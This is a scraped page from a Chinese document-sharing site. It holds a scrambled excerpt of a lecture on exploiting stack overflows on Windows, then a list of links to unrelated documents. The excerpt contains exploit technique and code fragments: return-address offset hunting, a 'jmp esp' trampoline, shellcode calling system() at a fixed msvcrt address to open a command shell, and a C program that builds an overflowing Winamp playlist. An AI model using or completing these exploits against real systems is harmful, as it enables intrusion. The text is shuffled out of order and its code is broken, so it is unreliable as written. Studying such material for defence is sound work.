正文內(nèi)容

windows系統(tǒng)下的堆棧溢出-免費(fèi)閱讀

2025-10-05 16:44 上一頁面

下一頁面

　　

【正文】最后，我希望我的講座作為拋磚引玉，能夠引發(fā)大家更深入的探討。如果我們可以將它們 overflow，按照上面的方法，可以得到 dos，（ NT 下是），將擁有超級(jí)用戶的權(quán)限。所以，對(duì)于 windows 下的堆棧溢出exploit，必須公開原代碼，才能由其他人完成別的版本的修改，這一點(diǎn)，大家以后公布 exploit時(shí)，要記住。用戶的 dll一變更，那么，我們的 exploit里面的 shellcode就要重新寫。但是，由于 windows 用戶進(jìn)程地址空間分配和堆棧處理有其獨(dú)立的特點(diǎn)，導(dǎo)致了 windows 環(huán)境下堆棧溢出攻擊時(shí)，使用的堆棧溢出字符串，與 unix下的，區(qū)別很大。 fprintf(file, %s, eip)。 for(int x=0。一個(gè) jmp esp之后，就到了我們的 shellcode上，繼續(xù)執(zhí)行，看到了什么嗎？奇怪！我們的 shellcode 變短了，到B8249801，后面就沒有了。 fprintf(file, \nNumberOfEntries=1)。x580。我的機(jī)器上版本是： () . 0x78019824 是里面的函數(shù)system 的地址。 system()。看來 ESP指向我們的shellcode，太棒了！我們使用指令： jmp ESP 就可以執(zhí)行我們的 shellcode了。 printf(\t created file loaded with the exploit.\n)。 file = fopen(,wb)。A39。x++) { switch(x%4) { case 0: buffer[x] = 39。 playlist里面的文件名長(zhǎng)度如果大于一定長(zhǎng)度就會(huì)發(fā)生堆棧溢出。 dll 就要去看程序自己的 import列表了。因?yàn)樵谝绯霭l(fā)生的時(shí)候，除了 eip跳到了系統(tǒng)核心 dll去之外，其他的通用寄存器都保持不變。我們需要把 A改成不包含 0的地址。現(xiàn)在來看一看我們的 shellcode ：NNNNSSSSAAAAAA。 } 編譯運(yùn)行，得到 dos對(duì)話框。還記得第二講中那個(gè)測(cè)試 shellcode的基本程序嗎？我們可以用他來測(cè)試這個(gè)shellcode： include include char shellcode[] = { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }。串地址作為參數(shù)入棧 mov eax, 0x78019824 。 mov byte ptr [ebp07h],6eh 。 sub esp,08h 。使用堆棧傳遞參數(shù)，只有一個(gè)參數(shù)，就是字符串的地址 00401096 push edx 00401097 call dword ptr [ProcAdd] 0040109A add esp,4 現(xiàn)在我們可以寫出一段匯編代碼來完成system，看以看我們的執(zhí)行 system調(diào)用的代碼是否能夠像我們?cè)O(shè)計(jì)的那樣工作： include include void main() { LoadLibrary()。 00401075 lea edx,dword ptr [dllbuf] 00401078 push edx 00401079 call dword ptr [__imp__LoadLibraryA4(0x00416134)] 0040107F mov dword ptr [LibHandle],eax 16: 17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf)。 system 函數(shù)位于的一個(gè)固定偏移處（這個(gè)偏移地址只與，不同的版本可能偏移地址不同）。但是， windows 不像 UNIX那樣使用系統(tǒng)調(diào)用來實(shí)現(xiàn)關(guān)鍵函數(shù)。 char cmdbuf[16] = 。這就使我們可以精確的方便的尋找堆棧溢出漏洞。 Registers: EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246 EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233 ECX=00000020 DS=0187 ESI=816bffcc FS=11df EDX=00411a68 ES=0187 EDI=00000000 GS=0000 Bytes at CS:EIP: Stack dump: 32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68 0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c 哦哦， EIP 的內(nèi)容為 0x32363235，就是2625,EBP 的內(nèi)容為 0x32343233，就是2423,計(jì)算一下可以知道，在堆棧中，從name變量地址開始偏移 36處，是 EBP的地址，從 name 變量地址開始偏移 40處，是 ret的地址。i++) printf(\\0x%x,name)。我們的目的是研究如何利用windows 程序的堆棧溢出漏洞。i32amp。這個(gè)功能太好了，我們可以選擇一個(gè)序列的輸入串，精確的確定存放返回地址的偏移位置。我們每次執(zhí)行 vunera~1 的堆棧的開始地址都是相同的。 MYPROC ProcAdd。 } 這個(gè)程序有必要詳細(xì)解釋一下。我們必須找到那個(gè)包含此函數(shù)的動(dòng)態(tài)鏈接庫，由該動(dòng)態(tài)鏈接庫提供這個(gè)函數(shù)的地址。之后才能使用這個(gè)真實(shí)地址來調(diào)用 system 函數(shù)。不用每次都找了。 push edi 。 mov byte ptr [ebp0ah],6dh 。 mov byte ptr [ebp02h],6dh 。Access Violation。 //ret 等于 main（）的返回地址 //(＋ 2是因?yàn)椋河?push ebp ,否則加 1就可以了。但是這遠(yuǎn)遠(yuǎn)不夠。S 位于堆棧的底部。我們知道系統(tǒng)核心的dll都是在 2－ 4G，也就是從 0x80000000到 0xffffffff,這里面的指令地址將不包含0，（當(dāng)然幾個(gè)別的除外，我們可以不用他）。系統(tǒng)核心 dll 包括 ,dll是一直位于內(nèi)存中而且對(duì)應(yīng)于固定的版本 windows 加載的位置是固定的。有了這些基礎(chǔ)知識(shí)，我們來分析一個(gè)實(shí)例。 FILE *file。+x/26%26/26%26。+x%26。 fprintf(file, %s, sploit)。編譯執(zhí)行，看看結(jié)果，嘿，發(fā)生了堆棧溢出，結(jié)果如下： WINAMP 在 00de:4c574141 的模塊未知中導(dǎo)致無效頁錯(cuò)誤。下面我們來寫 shellcode。而 winamp沒有 import這個(gè)庫，所譯我們需要自己加載。 char shellcode[256] = \x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53//load \xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6 \x45

點(diǎn)擊復(fù)制文檔內(nèi)容

公司管理相關(guān)推薦

系統(tǒng)維護(hù)寶典windows系統(tǒng)故障修復(fù)技巧-資料下載頁

【摘要】1QB安徽電力建設(shè)第一工程公司企業(yè)標(biāo)準(zhǔn)Q/AEPC-MAQ20-2020施工用電管理制度2020-06-3O發(fā)布2020-07-01實(shí)施安徽電力建設(shè)第一工程公司

2026-05-01 20:11

系統(tǒng)維護(hù)寶典windows系統(tǒng)故障修復(fù)技巧-資料下載頁

【摘要】系統(tǒng)維護(hù)寶典Windows系統(tǒng)故障修復(fù)技巧對(duì)于使用WindowsXP操作系統(tǒng)的朋友來說，當(dāng)操作系統(tǒng)出現(xiàn)崩潰或者使用時(shí)出現(xiàn)一些莫名其妙的錯(cuò)誤時(shí)，一般都是采用重裝系統(tǒng)或者使用Ghost進(jìn)行系統(tǒng)恢復(fù)等方法。但是使用這些方法各有缺陷，比如重新安裝系統(tǒng)，則原來的系統(tǒng)設(shè)置和軟件都必須重新安裝，非常麻煩。其實(shí)每一項(xiàng)系統(tǒng)錯(cuò)誤都有方法能進(jìn)行修復(fù)，并且WindowsXP操作系統(tǒng)自帶的系統(tǒng)修復(fù)功能也非常強(qiáng)

2026-06-28 16:05

s7-200plc邏輯堆棧的操作-資料下載頁

【摘要】Slide1九、邏輯堆棧的操作指令的功能?LPS（入棧）指令：LPS指令把棧頂值復(fù)制后壓入堆棧，棧中原來數(shù)據(jù)依次下移一層，棧底值壓出丟失。?LRD（讀棧）指令：LRD指令把邏輯堆棧第二層的值復(fù)制到棧頂，2-9層數(shù)據(jù)不變，堆棧沒有壓入和彈出。但原棧頂?shù)闹祦G失。?LPP（出棧）指令：LPP指令把堆棧彈出一級(jí)，原第二級(jí)的值變?yōu)樾碌臈ｍ斨担?/span>

2026-07-26 23:00

生產(chǎn)服務(wù)業(yè)集群的溢出效應(yīng)研究-資料下載頁

【摘要】生產(chǎn)性服務(wù)業(yè)集群的溢出效應(yīng)研究摘要伴隨著全球密集型高新技術(shù)產(chǎn)業(yè)集群的快速出現(xiàn)與蓬勃發(fā)展，集群溢出效應(yīng)的問題引起了學(xué)術(shù)界的高度關(guān)注。生產(chǎn)性服務(wù)業(yè)集群是企業(yè)的空間集聚，它的出現(xiàn)與發(fā)展存在特定的路徑依賴性，但從地理區(qū)位、人文因素和政府政策協(xié)調(diào)等方面都對(duì)集群起到了一定的影響作用，合理的區(qū)域集聚和產(chǎn)業(yè)集群既是發(fā)達(dá)地區(qū)保持發(fā)展優(yōu)勢(shì)的利器，又是落后地區(qū)擺脫困境的有效手段，而目前大多數(shù)關(guān)于產(chǎn)業(yè)集

2026-06-19 15:59

國內(nèi)外原油市場(chǎng)的風(fēng)險(xiǎn)溢出檢驗(yàn)-資料下載頁

【摘要】國內(nèi)外原油市場(chǎng)的風(fēng)險(xiǎn)溢出檢驗(yàn)作者姓名:潘慧峰，清華大學(xué)經(jīng)管學(xué)院經(jīng)濟(jì)系博士生張金水，清華大學(xué)經(jīng)管學(xué)院經(jīng)濟(jì)系教授，博士生導(dǎo)師內(nèi)容提要：本文采用美國西得克薩斯（WTI）和我國大慶2002年5月至2005年5月的原油價(jià)格的日度數(shù)據(jù)，運(yùn)用基于GED分布的GARCH模型估計(jì)了兩個(gè)市場(chǎng)95％和90％置信水平下的上漲和下跌的條件VaR，并利用Hong(2001)年提出的風(fēng)險(xiǎn)-Granger因果檢

2026-07-21 05:46

windows環(huán)境下vb與q00plc通信的實(shí)現(xiàn)-資料下載頁

【摘要】摘要：本文分析了Windows環(huán)境下串行通信的編程技術(shù)，介紹了在Windows環(huán)境下用VB語言編寫串行通信程序，實(shí)現(xiàn)了PC機(jī)與三菱Q00PLC之間的串行通信，并提出了在實(shí)際應(yīng)用中提高串行通信性能的方法。關(guān)鍵詞：VB；Win32API函數(shù)；串行通信；Q00PLC一概述在工業(yè)控制中,串口是常用的計(jì)算機(jī)與外部串行設(shè)備之間的數(shù)

2025-12-29 12:40

windows安全系統(tǒng)加固建議-資料下載頁

【摘要】Windows系統(tǒng)安全加固技術(shù)Windows系統(tǒng)安全加固技術(shù)配置注冊(cè)表提高系統(tǒng)安全賬號(hào)安全策略設(shè)置系統(tǒng)服務(wù)安全設(shè)置系統(tǒng)權(quán)限技術(shù)注冊(cè)表和系統(tǒng)文件監(jiān)控系統(tǒng)進(jìn)程和端口檢查和分析系統(tǒng)漏洞檢查和分析IIS安全設(shè)置配置注冊(cè)表提高系統(tǒng)安全

2026-03-03 20:02

[其它]第二講-windows系統(tǒng)-資料下載頁

【摘要】第二講Windows操作系統(tǒng)主講教師:謝華成網(wǎng)絡(luò)信息與計(jì)算中心教研室Windows操作系統(tǒng)教學(xué)內(nèi)容提綱WindowsXP入門WindowsXP的桌面及其管理Windows文件及文件夾管理Windows磁盤管理控制面板網(wǎng)絡(luò)信息與計(jì)算中心教研室認(rèn)識(shí)操作系統(tǒng)Windows

2026-02-05 18:48

windows操作系統(tǒng)ppt課件-資料下載頁

【摘要】Windows操作系統(tǒng)（3）備份與還原主講：李宇民災(zāi)難保護(hù)介紹?容錯(cuò)?容錯(cuò)是指計(jì)算機(jī)應(yīng)付災(zāi)難事件的能力。?災(zāi)難恢復(fù)?是指當(dāng)計(jì)算機(jī)當(dāng)發(fā)生了災(zāi)難事件后，恢復(fù)計(jì)算機(jī)使用戶能夠登錄并訪問系統(tǒng)資源的過程。容錯(cuò)和災(zāi)難恢復(fù)的方法?配置UPS服務(wù)?使用能容錯(cuò)的RAID（RAID1和RAID5）

2026-04-26 18:33

windows2000操作系統(tǒng)-資料下載頁

【摘要】第二節(jié)WindowsNT/2023安全性本節(jié)主要內(nèi)容?安全概述?網(wǎng)絡(luò)協(xié)議與信息收集?口令與認(rèn)證?應(yīng)用程序漏洞?NT/2023安全WindowsNT操作系統(tǒng)?WindowsNT是安全級(jí)為C2級(jí)的操作系統(tǒng)安全架構(gòu)?訪問控制?用戶認(rèn)證?加密?

2026-01-03 14:38

windows安全系統(tǒng)加固建議-資料下載頁

2025-12-30 22:03

windows自帶的功能-資料下載頁

【摘要】Windows自帶的功能，為了方便我們的使用，有自動(dòng)記錄的功能，但是這些功能有些事情也把我們的“行蹤”給暴露了，這個(gè)時(shí)候應(yīng)該怎么辦呢？請(qǐng)看本文為你介紹的八種方法，可以讓你使用的電腦了無痕跡。??首先，應(yīng)從系統(tǒng)中清除那些你認(rèn)為已肯定不用的文件，這里我們指的是你丟棄到回收站中的所有垃圾文件。當(dāng)然，我們還可以在任何想起的時(shí)候把回收站清空(雙擊回收站圖標(biāo)，然后選擇“文件”

2026-08-07 23:55

linux和windows系統(tǒng)之間實(shí)現(xiàn)磁盤共享-資料下載頁

【摘要】Linux和Windows系統(tǒng)之間實(shí)現(xiàn)磁盤共享在RedHatLinux下訪問Windows系統(tǒng)的硬盤分區(qū)很簡(jiǎn)單。因?yàn)镽edHatLinux提供了對(duì)幾乎所有文件系統(tǒng)的支持，因此它可以直接讀寫Windows系統(tǒng)的分區(qū)。安裝RedHatLinux時(shí)，就可以指出計(jì)算機(jī)中存在的Windows分區(qū)的位置，并指定想要將它們載入到Linux文件系統(tǒng)中的位置。

2026-08-03 07:24

windows系統(tǒng)下的堆棧溢出-免費(fèi)閱讀

系統(tǒng)維護(hù)寶典windows系統(tǒng)故障修復(fù)技巧-資料下載頁

系統(tǒng)維護(hù)寶典windows系統(tǒng)故障修復(fù)技巧-資料下載頁

s7-200plc邏輯堆棧的操作-資料下載頁

生產(chǎn)服務(wù)業(yè)集群的溢出效應(yīng)研究-資料下載頁

國內(nèi)外原油市場(chǎng)的風(fēng)險(xiǎn)溢出檢驗(yàn)-資料下載頁

windows環(huán)境下vb與q00plc通信的實(shí)現(xiàn)-資料下載頁

windows安全系統(tǒng)加固建議-資料下載頁

[其它]第二講-windows系統(tǒng)-資料下載頁

windows操作系統(tǒng)ppt課件-資料下載頁

windows2000操作系統(tǒng)-資料下載頁

windows安全系統(tǒng)加固建議-資料下載頁

windows自帶的功能-資料下載頁

linux和windows系統(tǒng)之間實(shí)現(xiàn)磁盤共享-資料下載頁

windows系統(tǒng)安全設(shè)置初步-資料下載頁

windows系統(tǒng)安全ppt課件-資料下載頁

windows系統(tǒng)下的堆棧溢出-wenkub.com

windows系統(tǒng)下的堆棧溢出(已改無錯(cuò)字)

windows系統(tǒng)下的堆棧溢出-資料下載頁

windows系統(tǒng)下的堆棧溢出(參考版)

windows系統(tǒng)下的堆棧溢出-文庫吧資料